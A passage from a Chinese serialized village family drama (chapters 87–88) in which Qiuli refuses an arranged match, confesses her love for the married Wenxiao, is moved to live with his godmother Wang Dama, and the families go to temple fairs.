当秀兰捧着那双可爱的小鞋子路过时,恰好瞥见了秋丽那副失魂落魄的模样。只见秋丽目不转睛地盯着文孝所在的方向,眼神中流露出一种深深的眷恋和哀愁。同为女子的秀兰瞬间便明白了那眼神所蕴含的情感? 于是,秀兰缓缓走上前去,轻声说道:“你瞧,他们一家人在一起多么幸福呀!” 秋丽从自己的思绪中缓缓回过神来,脸上露出一丝微笑,对着秀兰说道:“秀兰嫂子,你怎么这个时候过来啦?” 秀兰手里拿着一双精致小巧的鞋子,笑着回答道:“哎呀,这不闲着没事嘛,就给佳红做了双小鞋子,想着送过来。不知道他家这第三个孩子究竟是个儿子还是女儿呢,你说会是什么呀?”说完,秀兰把目光投向了秋丽,眼中满是好奇和期待。 第87章 防人之心不可无 秋丽轻轻摇了摇头,柔声说道:“我不知道,这种事情哪能猜得准呀。”就在这时,唐小雨在远处瞧见了秀兰,兴奋地挥着手,朝秀兰这边走来。 秋丽见状,连忙对秀兰说道:“秀兰嫂子,那我就先回去啦!”话音未落,秋丽便转身急匆匆地往家里走去。 没一会儿功夫,唐小雨就走到了秀兰跟前,看着秋丽远去的背影,有些疑惑地问道:“哎,她怎么走得这么急呀?好像有什么急事似的。” 秀兰张了张嘴,似乎想要说些什么,但犹豫再三之后,最终还是选择将那些话语咽回了肚子里。毕竟秋丽现在就住在自己家中,日后多多留意着她一点也就是了。 时光匆匆流逝,转眼间便又过去了整整半个月。然而让人感到诧异的是,这段日子以来,云义和秋丽两人竟然连一句话都未曾交谈过。这可急坏了杏花,她心里暗自琢磨着该如何打破这个僵局。 经过一番深思熟虑,大家聚在一起商议后,文孝拍板决定,事到如今,干脆就把话挑明了说比较妥当。就在这样的背景下,这天秋丽如往常一样来到了文孝家。 文孝满脸笑容地迎上前去,热情地招呼道:“秋丽妹子啊,快进来里边坐,我有件重要的事儿想要问问你呢!” 秋丽一脸疑惑地走进屋里,轻声回应道:“文孝大哥,到底是什么事儿呀?您直说就行啦!” 文孝稍微顿了顿,然后深吸一口气,郑重其事地开口说道:“秋丽妹子,是这么回事儿。当初杜大叔临终前把你托付给咱们,就是希望能帮你寻一门好亲事。那个时候,我曾经跟杜大叔提起过,文亭的弟弟,也就是云义!所以今天我就想来问问你,对于云义这个人,你作何感想呢?” 听到这里,秋丽不禁微微一愣,随即眉头微皱,面露不悦之色反问道:“文孝大哥,您这话到底是什么意思呀?” 文孝见状赶忙解释道:“我的意思很简单,就是想知道你愿不愿意嫁给云义呀!” 没想到秋丽想都没想,斩钉截铁地回答道:“我不愿意!我才不要嫁给他呢!”说完这句话,秋丽气呼呼地扭过头去,不再看文孝一眼。 文孝一脸焦急地说道:“你不愿意?那你究竟喜欢什么样的小伙子呀,我们再好好帮你找找看!”他紧紧盯着面前的秋丽,眼中满是关切之情。 而此时的秋丽,双眼早已噙满泪水,她默默地看着眼前的文孝和唐小雨,嘴唇微微颤抖着,似乎想要说些什么,但最终还是一个字都没有吐出来。突然,她猛地扭过头去,脚步匆匆地离开了这个地方,只留下一阵轻微的脚步声在空气中回荡。 望着秋丽渐行渐远的背影,文孝不禁皱起眉头,喃喃自语道:“这可如何是好......难道真的是我们做错了吗?” 一旁的小雨见状,若有所思地轻声说道:“说不定人家姑娘这是心里已经有了意中人呢!” 文孝听后,瞪大了眼睛,难以置信地反问道:“不会吧,以前从来没听人说起过她喜欢谁呀!”他挠了挠头,心中充满了疑惑。 与此同时,在另一边,杏花轻轻地将云义唤到自己身旁,微笑着对他说道:“云义啊,秋丽这姑娘人品样貌样样都好,确实很不错呢。你大哥和文孝他们俩商量着,想促成你和秋丽的好事儿......!”说着,杏花还意味深长地拍了拍云义的肩膀。 云义气鼓鼓地冲着他母亲喊道:“娘啊,您究竟还要让我说多少次呢?就算您再怎么逼迫,我也是绝对不可能娶她的!” 就在这时,谁都没有料到,秋丽竟然毫无征兆地从门外走了进来。这突如其来的一幕,令原本就有些局促不安的杏花瞬间变得十分尴尬起来。她眼神飘忽不定,赶忙寻了个由头,匆匆忙忙地转身离去,徒留云义和秋丽两个人呆呆地站在空旷的院子当中,气氛一时之间显得格外凝重和尴尬。 两人就这样默默地站着,谁也没有先开口说话,时间仿佛凝固了一般。过了好一会儿,云义和秋丽像是心有灵犀似的,同时张开嘴巴想要打破这份沉寂。 然而,话到嘴边却又不约而同地停住了,接着又是一次整齐划一的声音响起:“我……” 紧接着,他们再次齐声说道:“你先说吧!” 终于,还是云义率先鼓起勇气,深吸一口气,定了定神,缓缓说道:“秋丽姑娘,实不相瞒,我对你确实没有那种男女之间的喜爱之情,更不想用谎言来欺骗于你。因此,今天我决定将自己内心最真实的想法原原本本地告知与你。” 听完这番话,秋丽非但没有生气或者伤心难过,反而露出一丝释然的微笑,轻声回应道:“多谢云义大哥能够如此坦诚相待。其实,小女子我也并不愿意这般稀里糊涂地嫁为人妇。我同样渴望能找到那个真心相爱的如意郎君,携手共度此生!” 听到秋丽这样的回答,云义不禁瞪大了眼睛,脸上满是难以置信的神情,急切地追问道:“你方才所说的可都是真心话吗?” 秋丽重重地点了点头,略微低下头去,双颊飞起一抹淡淡的红晕,娇羞地喃喃低语道:“嗯……其实,在我的心中一直藏着那么一个人……” 云义心中悬着的巨石终于落了地,仿佛压在身上许久的重担一下子被卸去了一般。他暗自庆幸秋丽对自己并无好感,如此一来,逼婚之事便可迎刃而解了。 想到此处,他忍不住开口问道:“既然你不喜欢我,那不知你心有所属之人究竟是谁呢?而且,他是否同样钟情于你呀?” 秋丽闻言,秀眉微蹙,娇美的面庞上流露出一丝淡淡的忧愁,轻轻地摇了摇头道:“或许……他根本就未曾察觉到我的心意。” 云义瞪大了眼睛,追问道:“那为何你不向他表明心迹呢?” 秋丽再次缓缓地摇动着头,眼神中透露出些许无奈与羞涩。 见此情形,云义心头忽地一紧,一种不好的预感涌上心头。他迟疑片刻后,试探性地问道:“难道说……这个人我也是相识的?” 秋丽微微颔首,表示肯定。刹那间,云义脑海中思绪翻涌,各种猜测纷至沓来。他不禁暗想:难不成秋丽所倾心之人竟是自家大哥?若是果真如此,那可万万使不得啊!要知道,先前因为那个叫蒋晶晶的女子,大哥都差点解释不清楚。如今若再冒出个杜秋丽,住在一个屋檐下,谁知道会发生什么事情出来。 正在心里琢磨着的时候,只听得一阵欢声笑语由远及近地传来。原来是云亭和秀兰带着一群孩子兴高采烈地回家来了。 他们刚踏进院门,一眼便瞧见了云义和秋丽正站在院子当中,不知在谈论些什么。这突如其来的一幕让云亭和秀兰不禁一愣,心下暗自思忖:“莫不是我们回来得不是时候?” 然而,令人意想不到的是,云义两人脸上非但没有露出丝毫尴尬之色,反而都绽放着笑容。平日里云义和秋丽甚少交流,此刻竟然能聊起天来,这着实令云亭和秀兰感到又惊又喜! 就在这时,只见云义毫无征兆地一把拉住云亭的胳膊,急匆匆地往门外走去。秀兰站在原地,脸上满是疑惑之色,但见两人已经走远,便也只能无奈地摇摇头,转身带着孩子们走进了院子。 而被云义拽着一路疾行的云亭此刻也是满心狐疑,他一边努力跟上云义的步伐,一边气喘吁吁地问道:“我说云义啊,你这么着急忙慌地拉着我到底是要去哪儿呀?有啥事儿不能在屋里说吗?” 云义却是头也不回,脚下生风般一直将云亭带到了村子边上才停下脚步。他转过身来,神情严肃地盯着云亭,开口道:“大哥,你跟我说实话!那个杜秋丽,她是不是对你有意思?” 听到这话,云亭不由得皱起了眉头,心中暗自思忖:难道是秋丽和云义说了些什么特别的话?不然云义怎么会突然这样问自己?于是他连忙否认道:“哎呀,云义,你可别瞎猜乱讲啊!秋丽怎么可能对我有意思?” 云义皱着眉头说道:“她亲口对我说,她的心中早已有了别人,而且她还坦言自己喜欢的那个人至今都未曾知晓她的这份心意。” 听到这话,云亭瞪大了眼睛,难以置信地反驳道:“什么?她心里有人?那人也绝对不可能是我呀!云义,你怎能如此无端猜忌于我呢!” 云义无奈地叹了口气,接着解释道:“大哥,你别激动嘛!当年那个蒋晶晶,当初她不也是差点儿让你陷入难以自证清白的困境之中么?有过那样的经历,我自然会担心类似的事情再次发生啊!” 一听到“蒋晶晶”这个名字,云亭只觉一阵头痛袭来,他连忙伸出手扶住额头,不耐烦地喊道:“行了行了,快别提那个女人啦!只要一想起她来,我的脑袋就嗡嗡直响。本是出于一片好心救她性命,谁曾料到竟会被她给设计陷害了!直到如今回想起来,仍心有余悸呢。罢了罢了,不说这些烦心事了,走,我们还是去文孝家吧!”说着,他拉起云义匆匆向文孝家走去。 云亭和云义迈着匆匆的步伐来到文孝家中时,一进门便瞧见杏花正安安静静地坐在那里。见到两人到来,杏花不禁面露惊讶之色,开口问道:“你们俩怎么也跑这儿来了?” 云义向前一步,面带些许难色地说道:“娘,其实我今天来就是想跟您还有文孝哥说件事儿。这秋丽到底是个未出阁的姑娘家,老是这么住在我们家,恐怕于情于理都说不过去啊!” 杏花一听这话,眉头微微皱起,疑惑道:“怎么?难道你们......”话还没说完,就被一旁的云亭给打断了。 只见云亭摆了摆手,解释道:“娘,云义他压根儿就没有成家的心思,而那秋丽妹子也是一样,根本不愿意嫁给云义。既然如此,又何必让他俩这般相互为难呢?倒不如早点做个了断,对大家都好不是吗?” 这时,一直沉默不语的文孝终于开了口:“嗯,云亭说得有道理。之前确实是我考虑得不够周全,只想着能帮衬一把就帮衬一把。现在看来,如果他们彼此都无意,那还是让秋丽搬出来住比较妥当些,省得日后被那些爱嚼舌根的人传些闲言碎语,坏了她的名声可就不好啦!” 杏花一听这话,不禁重重地叹了一口气,满脸都是惋惜之色,嘴里嘟囔着:“唉,这到手的儿媳妇儿就这么飞了……” 而一旁的云义呢,则是偷偷摸摸地捂着嘴笑个不停,心里头别提有多高兴了。他暗自庆幸着,还好秋丽没有瞧上自己。 这时,文孝转头看向唐小雨,目光诚恳地说道:“小雨,要不这样吧,干脆就让秋丽先来咱们家里住上一段时间好了!等到明天呀,你再去找刘婶子帮她重新物色一门亲事!”小雨听了之后,倒也没怎么深思熟虑,很爽快地点点头应道:“我都行!” 没过多久,杏花他们一行人便回到了家中。刚一进门,杏花就拉着秋丽的手,语重心长地对她说:“秋丽啊,虽说咱们现在还不是真正意义上的一家人,但婶子打从心底里一直都把你当成自家人来看待的哟!只可惜这次你和云义没能成,想来也是你们俩之间没有这个缘分呐。不过没关系,你有啥需要帮忙的地方,可以尽管来找我,或者去找你秀兰嫂子也行!”说完,杏花还用充满关怀的眼神看着秋丽,仿佛真的把她当作了自家闺女一般。 只见杏花微微颔首道:“文孝他说了,要你到他们家里再小住一段时日。毕竟你在咱们家待得太久了,难免会有些不好听的话传出去。”她说着,似是有千言万语想要倾诉,但又欲言又止。微风拂过,吹起她额前的几缕银发。 杏花正沉浸于自己的思绪之中,丝毫没有留意到那秋丽脸上难以掩饰的喜悦之情。只见秋丽满脸笑意地说道:“谢谢婶子!” 这声感谢传入秀兰耳中时,她不禁一愣,随后惊讶地问道:“什么?要住到文孝家里去?”这句话让在场的所有人都大吃了一惊。大家面面相觑,谁也没有想到秀兰竟会有如此之大的反应。就连一旁的云义也不禁暗自思忖起来,难道嫂子是因为太过高兴而有些失态了不成? 然而,众人还未从震惊中回过神来,就见秀兰动作迅速地将怀中抱着的传诚一把塞进了云亭的手中,嘴里嘟囔着:“你抱会儿,我出去下。”说完,便头也不回地匆匆离去,只留给身后的几个人一脸的茫然与疑惑。 此时的文孝正在堂屋里陪着自家的孩子们尽情嬉戏玩耍,一片欢声笑语回荡在屋内。小雨则腆着个大肚子,慵懒地倚靠在椅子上,眼神温柔地注视着眼前其乐融融的场景——自己心爱的丈夫正与可爱的孩子们玩闹在一起...... 就在这时,一阵急促的敲门声骤然响起,紧接着房门被猛地推开,只见秀兰一脸焦急地闯了进来,大声喊道:“小雨啊,你怎么能让秋丽住到你家来呢!这可不行呀!” 唐小雨听到这话,顿时感到有些莫名其妙,她满脸疑惑地看着秀兰,不解地问道:“住谁家不都一样嘛,有什么关系呢?” 秀兰连忙摇着头说道:“哎呀,才不是这样呢!你难道没有发现那个秋丽她……”然而,话刚到嘴边,秀兰却又犹豫了一下,最终还是没能把后面的话说出来。 一旁的文孝见状,不禁好奇地问道:“到底怎么了?刚才云义不是说了他不喜欢人家秋丽吗?而且秋丽自己也表示不愿意嫁给云义,按道理来说,总不好一直让她住在你们家里吧!” 秀兰皱着眉头,忧心忡忡地继续说道:“我当然知道这些啦,可是小雨现在怀着身孕,身体本就不便,还要照顾孩子,已经够辛苦了。要是再让一个人住进家里来,那小雨得多累啊!”说着,她心疼地看向唐小雨。 唐小雨嘴角微微上扬,露出一抹轻松的笑容,轻声回应道:“哪儿有你说的那么辛苦呀?” 然而,秀兰却一脸凝重地凑近她,压低声音急切地说道:“嘘——别说话!防人之心不可无啊!” 听到这话,唐小雨的脸色瞬间变得严肃起来,迟疑着开口问道:“你怎么……” 话还没说完,站在一旁的文孝凑过来,满脸担忧地插话道:“那……那现在该怎么办才好啊?毕竟人家只是个姑娘家家的,跟我们一起回来,总不能说就这样不管不顾人家了吧!” 秀兰急得直跺脚,焦急地嚷道:“哎呀,你倒是好好动动脑子想一想!她一个未出阁的大姑娘,一直跟咱们两家这么长时间住在一起,难免会有风言风语的,总归还是不太好听啊!” 文孝皱起了眉头,显得十分苦恼,嘴里不停地念叨着:“这可如何是好啊!” 秀兰面带微笑地说道:“我这儿倒想到了一个不错的办法,但就是不知道秋丽妹子愿不愿意呀!你们想想王大娘,成天都是孤孤单单一个人的,如果能让秋丽过去陪她老人家做个伴儿,或者索性就让王婶子认了秋丽当干女儿,这样一来啊,日后秋丽出嫁时也能体体面面、风风光光的不是?” 坐在一旁的文孝听后,眼睛猛地一亮,一拍大腿激动地喊道:“哎呀呀,我咋就没想到呢!我咋连我的干娘都给忘了呢!秀兰,您这可真是个好点子啊!我得赶紧先去告诉我干娘一声。”话音未落,他便像一阵风似的,兴高采烈地冲出了门。 说起这王大娘啊,其实早些年,她也是有过一个孩子的。那孩子和文孝年纪相仿,就在当年王婶的丈夫尚且在世的时候,正值炎炎夏日,天气热得让人喘不过气来。那天,王婶的丈夫领着孩子一块儿到村边的河里去洗澡消暑。谁曾想,就在大家玩得正欢的时候,意外发生了——文孝一不小心掉进了深水区,在水中拼命挣扎着,眼看着就要被淹没了。 王大娘的丈夫见状,毫不犹豫地游向文孝,费了好大一番功夫才终于将文孝成功救上岸来。然而,令人痛心疾首的是,当他回过头再去找寻自己的孩子时,却发现那孩子早已不见踪影!任凭全村人如何苦苦寻觅,翻遍了整条河流以及周边的每一处角落,始终未能找到那个可怜的孩子…… 为了报答他们的救命之恩,索性,文孝的父亲就让文孝认了他们做干爹干娘!这么多年以来,王大娘最大的心结,依旧是那个失踪未找到的孩子!每每看到别人家的孩子,王大娘总是会伤心,也不喜欢文孝经常在自己面前出现,所以慢慢的,文孝就只有逢年过节才去探望一眼! 秀兰皱起眉头,满脸担忧地说道:“你看你呀,如今怀着身孕,可不得处处小心谨慎些嘛!怎能让其他女子住到家中来了呢!这万一出了什么岔子,可如何是好!” 唐小雨轻轻拍了拍秀兰的手,笑着回应道:“哎呀,秀兰,还好有你提醒着我,要不啊,我还真是难以习惯这家里突然间多出个人来呢!” 秀兰叹了口气,无奈地摇了摇头,感慨道:“哎,想当年我也是遭遇过那般事情之后,才明白这世间人心难测呐!。” 这时,只见文孝匆匆忙忙地朝着云亭家走去。秋丽一瞧见他,立刻满心欢喜地飞奔而出,娇声喊道:“文孝大哥,你来啦!你是专门来接我的吧?” 第88章 干娘 文孝微笑着点了点头,应声道:“没错,正是来找你的。走,一起去我干娘家里吧!” 秋丽眨了眨眼,虽然她并不太清楚“干娘”是谁,但脸上依然洋溢着灿烂的笑容,毫不犹豫地点头答应道:“好,那咱们快走吧!”说着,便兴高采烈地紧跟在文孝身后一同离去了。 转眼间便来到了王大娘家门前。只见一位面容慈祥的老太太正安然地坐在门前那棵枝繁叶茂的大树下,手中轻轻摇动着一把破旧却不失雅致的扇子。 文孝满脸笑容地快步上前,亲切地喊道:“干娘,我们来啦!” 王大娘闻声抬起头来,目光落在跟在文孝身后的秋丽身上,眼中满是喜爱之色,微笑着说道:“这想必就是秋丽姑娘吧,长得可真是水灵灵的呀!不知你是否愿意跟文孝一样叫我一声干娘啊?” 秋丽听后,不禁羞涩地低下了头,双颊瞬间泛起一抹红晕,宛如春日里盛开的桃花般娇艳动人。她略微迟疑了一下,然后轻声细语地回应道:“干娘……”声音虽小,但其中蕴含的真诚却是显而易见的。 王大娘见状,开心得合不拢嘴,连连点头说道:“好好好,真乖!以后啊,你就安心陪着我住在这儿,咱娘俩没事儿的时候可以一块儿唠唠嗑、做做针线活什么的,相互之间也好有个照应,这样一来,我这老婆子也就不会觉得太过孤单喽!” 然而,秋丽听到这话却是微微一愣,心中暗自思忖道:怎的突然就让我陪这老太婆一起住了?但碍于情面,她并未将内心真实想法表露出来,只是勉强挤出一丝笑容应和着。 此时,一旁的文孝见此情形,赶忙开口说道:“既然这样那我就放心了。干娘,若是您日后有什么事情需要帮忙的,尽管来找我便是!我还有事,就先走了。”话音刚落,他便转身朝着门外大步离去,只留下秋丽与王大娘两人站在院里。 秋丽满脸焦急地一路小跑着追了出来,眼眶微红,声音带着一丝哭腔喊道:“文孝大哥,是不是小雨嫂子她不喜欢我?所以才让我住到这里来?” 文孝停下脚步,转过身看着秋丽,脸上露出无奈的神情说道:“秋丽妹子,你可别胡思乱想啦!这怎么可能是小雨的意思呢?这完全是我自己的想法呀。你想想看,你一个还未出嫁的大姑娘家,长期住在咱们两家人家里,确实不太方便嘛!再说了,我干娘独自居住,身边也没人陪着说话解闷儿。现在有你来陪她老人家,她肯定也高兴得很呢,这不正好嘛!” 然而,秋丽却似乎并不领情,她咬了咬嘴唇,泪水在眼眶里打转,委屈地说道:“难道你们这是开始嫌弃我了吗?当初可是你们说我要好好照顾我的,这才几天,就急着要把我往外撵了!” 文孝见状,连忙走上前安慰道:“秋丽妹子,你千万别误会我们的好意呀!我真的是一心一意为你着想呢!之前我本来都已经答应了你爹,要把你介绍给云义兄弟的,结果你却说不愿意嫁给他。那没办法呀,总不能让你一直待在他们家里吧?所以只好先送你去干娘家住着咯。不过你放心,既然云义不是你的意中人,那我再帮你留意看看有没有其他合适的小伙子,一定给你介绍个称心如意的对象!” “我带你去干娘家其实还有另一个重要的原因,那就是我真心地期望你能够成为她的干女儿。而且,请相信我,我一定会为你筹备一份无比丰厚的嫁妆,让你风风光光、体体面面地嫁出去!”文孝一脸认真地说道。 听到这话,秋丽不禁皱起眉头,小嘴一撇,赌气般地回应道:“哼,谁说要你准备嫁妆了?谁说我就要嫁出去啦?!” 文孝听后,瞪大了眼睛,急切地反驳道:“哎呀,不嫁人怎么能行呢?天底下哪有姑娘家长大了却不出阁嫁人的道理呀!”他一边说着,一边挥舞着手臂,似乎想要说服眼前这个倔强的女子。 然而,秋丽并没有被他的说辞所打动,反而抬起头来,目光坚定地直视着文孝的双眼,大声喊道:“可是,我喜欢的人明明就是你啊!” 这句话犹如一道惊雷,猛地劈在了文孝的心间。他浑身一颤,脸上露出惊愕之色,一时间竟然有些不知所措。 过了好一会儿,他才回过神来,板起脸严肃地呵斥道:“休要胡言乱语!我一直都将你视作亲妹妹一般看待,从未有过其他非分之想。倘若你再这般口不择言,信口开河,那我便无法继续收留你在这李家沟了。”说罢,他转身大步流星地离开了,并朝着刘婶家里走去!。 而此刻,他心中只有一个念头——无论如何,都必须尽快把秋丽嫁出去才行! 这天上午,阳光正好,微风不燥。刘婶子风风火火地从自家小院出来,一路小跑直奔王大娘家而去。到了王大娘家,她顾不上喝口水喘口气,就迫不及待地要见见秋丽。 当秋丽出现在刘婶子眼前时,只见这姑娘眉清目秀、唇红齿白,身材高挑婀娜,一条乌黑亮丽的长辫子如瀑布般垂落。 刘婶子不禁眼睛一亮,脸上堆满笑容夸赞道:“哎呀,这闺女可真是长得不错哟!模样俊俏得很呐!我啊,一定要给你多介绍几个好小伙儿!保准都是青年才俊!” 再说那文孝,自从得知了秋丽对自己有意思之后,整个人就像只受惊的兔子一样,成天东躲西藏的,尽量避免跟秋丽碰面。不但如此,就连唐小雨,他也不许去见秋丽,生怕秋丽会在唐小雨面前说出些不着边际的胡话来。 然而,人算不如天算。文孝千防万防,没想到秋丽把王大娘也给哄着一起过来了。两人有说有笑地朝着文孝家走去。 不多会儿功夫,秋丽和王大娘便来到了文孝家的院子门口。秋丽故意放慢脚步,让王大娘走在前头。 文孝赶忙迎出门,随后连忙笑着打招呼:“干娘,您怎么还亲自过来啦?快进屋,屋里坐!”说着,他又偷偷瞄了一眼紧跟其后的秋丽,心中暗想希望她不要再乱说出什么来。 王大娘满脸笑容地对文孝说道:“文孝呀,你是不知道,秋丽那姑娘可真是好得没话说呢!每天都特别勤快,家里家外的事儿都能操持得井井有条。这不,今天她非得拉着我出来溜达溜达,没想到走着走着就到了你家门口啦,所以我们就顺便进来瞅瞅!” 文孝连忙笑着点头应道:“是啊,王大娘,我之前还特意拜托了刘婶帮我给秋丽说门亲事呢,也不晓得这几天有没有碰到合适的人家?” 王大娘轻轻叹了口气,摇着头说道:“唉,说起这个来呀,秋丽那丫头也是倔脾气,她说自己想要晚两年再考虑成亲的事呢。不过我寻思着,晚些时候倒也无妨。” 文孝听后没有再多言语,但他心里却跟明镜儿似的,清楚这定然是秋丽本人的想法。 这时,王大娘似乎想起了什么,兴致勃勃地接着说道:“哦,对了!再过几天可就是咱们镇上一年一度的庙会啦!到时候肯定很热闹。我呀,正打算带着秋丽一起出去好好逛逛,熟悉一下附近环境,凑凑热闹呢!” 秋丽的脸上绽放出欣喜的笑容,她兴奋地说道:“居然有庙会呢!文孝大哥,你们去不去逛庙会呀?” 一旁的佳华和佳红听到这话,更是高兴得手舞足蹈起来,像两只欢快的小兔子一样蹦蹦跳跳着喊道:“爹爹,娘,我们也好想去庙会玩!”她们那充满期待的眼神直勾勾地盯着父母,仿佛已经迫不及待想要立刻飞奔到庙会上尽情嬉戏。 文孝转头望向身旁的小雨,征求她的意见。小雨温柔地笑着回应道:“既然孩子们这么想去,那就带他们去好好玩玩呗!” 然而,文孝似乎有些担忧,他轻声提议说:“要不这样吧,让孩子们跟着云亭他们一块儿去玩,我留在家里陪你,这样如何?” 秋丽连忙自告奋勇地表示:“哎呀,不用那么麻烦啦!干脆我带着孩子们一同前去好了!” 这时,唐小雨嗔怪地看了一眼文孝,娇嗔道:“瞧你这小心翼翼的样子,我如今身体好着呢,没什么可担心的。而且我自己也挺想去出去转转呢!咱们一家人就一块儿去吧!” 尽管如此,文孝仍然放心不下,皱起眉头坚持道:“可是……我还是不太放心呐!” 唐小雨笑着对文孝说道:“想当年怀着这俩小家伙的时候,啥事儿我没干过呀!就连那时候的庙会,我不是也照样去逛了嘛!”她一边说着,一边回忆起当时的情景,脸上不禁露出一丝笑意。 文孝无奈地摇了摇头,看着妻子那坚定的表情,只好妥协道:“好好好,算我说不过你。不过你可得答应我,无论如何都必须让我陪着你一起才行!”他的眼神里充满了关切和担忧。 与此同时,在另一边的云亭家,杏花兴高采烈地跑过来,拉着秀兰说道:“哎呀,镇上马上就要有庙会啦!咱们大家伙儿明天早上啊,一块儿去镇子上转转,凑凑热闹!” 秀兰听了,眼中闪过一丝兴奋之色,连忙点头应道:“好哇!正好我还打算趁着这个机会去镇子上买几块布料呢,回来给家里的每个人都做一套新衣裳!” 云亭笑着走过来,说:“那可别忘了也给你自己做一套!”说完,他温柔地看向秀兰,眼里满是爱意。 传业像一只欢快的小兔子一样,兴奋地蹦跳着,嘴里还不停地喊着:“哦……太好了,有新衣服穿喽!”他那张充满童真的脸上洋溢着无比灿烂的笑容。 就在这时,一直安静站在一旁的云义冷不丁地冒出了一句话:“那有没有我的新衣服呀?”他眨巴着大眼睛,满怀期待地看着大嫂。 听到云义的话,秀兰先是愣了一下,但很快便反应过来,笑着回答道:“当然有啦,怎么会少得了你的呢!” 一旁的杏花见状,连忙说道:“哎呀,你要是想要什么样式的衣服,可以直接跟我说呀,我来给你做就好啦,干嘛还要麻烦你嫂子呢!”说着,杏花向云义投去了亲切的目光。 秀兰却摆了摆手,说道:“不麻烦的,反正都是要做衣服,也就顺带手的事儿。我打算明天多扯些布料回来,先给云亭和云义各做一身新衣裳,然后再给咱娘也做一身,还有这三个可爱的孩子,每人都得有一身新衣服才行!”她一边说着,一边用手比划着。 杏花听后,热情地回应道:“那行,到时候我来帮着你一起做!” 而另一边的李安硕,自从经历了失去父母的痛苦之后,他越发懂得珍惜眼前所拥有的一切——贤惠的妻子、乖巧的儿女。 此刻,他心中满怀着对家人的爱与关怀,缓缓开口说道:“明天正好有庙会,我想着带你们去县城逛逛,好好出去玩玩。” 郭美娟有些惊讶地比划着问道:“县城?可是庙会不是在镇上举办吗?”她不解地看向李安硕。 李安硕兴奋地对大家说:“镇上确实有庙会,但县城里的庙会可要比镇上的还漂亮呢!”他话音未落,孩子们就已经欢呼雀跃起来,一个个脸上洋溢着难以抑制的喜悦,仿佛此刻他们已经置身于热闹非凡的庙会之中。 时光匆匆,转眼间便迎来了庙会的日子。这天清晨,阳光明媚,微风轻拂,李安硕满心欢喜地领着全家人踏上了前往县城的路途。一路上,孩子们叽叽喳喳地讨论着庙会上可能会有的新奇玩意儿,欢声笑语不绝于耳。 当他们终于抵达县城时,眼前的景象让所有人都惊叹不已。只见街道两旁张灯结彩,人来人往,好不热闹。各种摊贩吆喝声此起彼伏,琳琅满目的商品令人目不暇接;还有精彩纷呈的杂耍表演、神奇有趣的变脸,以及悠扬动听的戏曲演唱,真是让人应接不暇。 就在这时,可爱的女儿用那稚嫩而又甜美的声音喊道:“娘,我想吃糖葫芦!” 郭美娟微笑着摸了摸女儿的头,温柔地回应道:“好,你跟爹爹一起在这里等着,娘这就给你去买。”说完,她快步朝着卖糖葫芦的摊位走去。 没一会儿功夫,郭美娟就买到了两串红彤彤、亮晶晶的糖葫芦。正当她满心欢喜地转过身准备回到家人身边时,眼角余光忽然瞥见路边有两个身影,看上去竟像极了自己的表嫂和侄女冬雪。她心中不由得一动,不由自主地迈步朝那边走去。 待走到近前,果然发现正是表嫂和冬雪二人。此时,冬雪正笑靥如花地望着她,欢快地叫道:“小表姑,真的是你呀!咦,您手里拿着的糖葫芦是不是特意买来送我的呀?” 郭美娟面带微笑,十分自然地将手中那两根色泽诱人、晶莹剔透的糖葫芦递向了冬雪。冬雪满心欢喜地接过这两份甜蜜,眼睛笑得像弯弯的月牙儿一般。 她兴奋不已地举起其中一根糖葫芦,转头跑向一旁的蒋依依,欢快地说道:“依依姐姐,给你吃糖葫芦,可好吃啦!”说着便将另一根糖葫芦递到了蒋依依的面前。 郭美娟看着两个小孩亲昵的模样,一脸关切,比划着问道:“表嫂,你们俩最近过得怎么样啊?我瞧着冬雪这小脸似乎圆润了不少呢!” 这时,站在一旁的何芊菊面露难色,赶忙上前拉住郭美娟的衣袖,压低声音哀求道:“美娟啊,你可千万不能把这事告诉万原呀,要不然我们可就麻烦大了……” 郭美娟见状,连忙拍了拍何芊菊的手背,点头安慰道:“好啦,表嫂您就放宽心吧,我保证绝对不会说出去的!”看到美娟这样表示,何芊菊那颗悬着的心才稍稍放下一些。 何芊菊迅速从蒸笼里取出几个热气腾腾的包子,装进一大袋子后,小心翼翼地塞进了郭美娟的手中:“快,趁热,拿着吃!”。 然而就在此时,不远处忽然传来了李安硕那熟悉的呼喊声:“美娟,糖葫芦买到了没有呀?”原来,是李安硕带着一群孩子一路寻了过来。 这突如其来的喊声犹如一道惊雷,惊得何芊菊浑身一颤。她来不及多想,手忙脚乱地抓起蒸笼盖子,以迅雷不及掩耳之势挡在了自己的面前,仿佛这样就能让李安硕无法认出她似的。 而郭美娟则赶紧抱着包子起身往回走,她还不忘朝何芊菊投去一个安抚的眼神。 就在这时,郭美娟冷不丁地将一个热气腾腾的包子猛地塞进了李安硕的口中,然后不由分说地紧紧拽住他的胳膊,急匆匆地朝着另一个方向快步走去! 李安硕被这突如其来的举动弄得有些猝不及防,嘴里含着包子,含糊不清地回过头,目光疑惑地望着刚才那个方向,好奇地问道:“那个人看起来怎么那么像何芊菊啊?” 郭美娟一听这话,脸色微微一变,连忙伸出手捂住李安硕的眼睛,用力地将他拖拽前行,拽到另一条巷子里面后停下来,手里比划着:“你肯定是看错啦,怎么可能会是她呢!” 李安硕无奈之下只好咬了一口嘴里的包子,只觉得这包子皮薄馅大,味道鲜美无比,忍不住夸赞道:“嗯,这包子真不错,挺好吃的呀!” 郭美娟见他不再追问关于何芊菊的事情,稍稍松了一口气,随手兴奋地指着前方:“快看,那边有好多糖葫芦呢,咱们赶紧过去再买两串吧!” 与此同时,在另一边的云亭和文孝两家人正兴高采烈地一同前往镇子上的庙会。尽管这个庙会的规模比不上县城里那般盛大繁华,但依然精彩纷呈,充满了浓郁的节日氛围。 秀兰紧紧地拉住小雨的手,高兴地朝着摆放着各色花布的摊位走去。她们的目光在那一块块色彩斑斓、图案精美的布料上游移着,精心挑选着心仪的布匹。 秀兰满脸笑容地对小雨说道:“小雨,你看看这花布多漂亮,你是不是也该买点回去,给你肚子里的小家伙准备准备啦!” 小雨听后不禁掩嘴轻笑起来,娇嗔地回应道:“哎呀,秀兰,你就别打趣我啦!我家这老三啊,就不用特意备新的了,老大和老二穿过的小衣服,让他接着穿就行了!” 秀兰连忙摇头,热心地说:“那可不行!哪能这么委屈咱宝贝侄儿呢?这样吧,就让我这个当婶子的亲手做两套新衣裳送给他!” 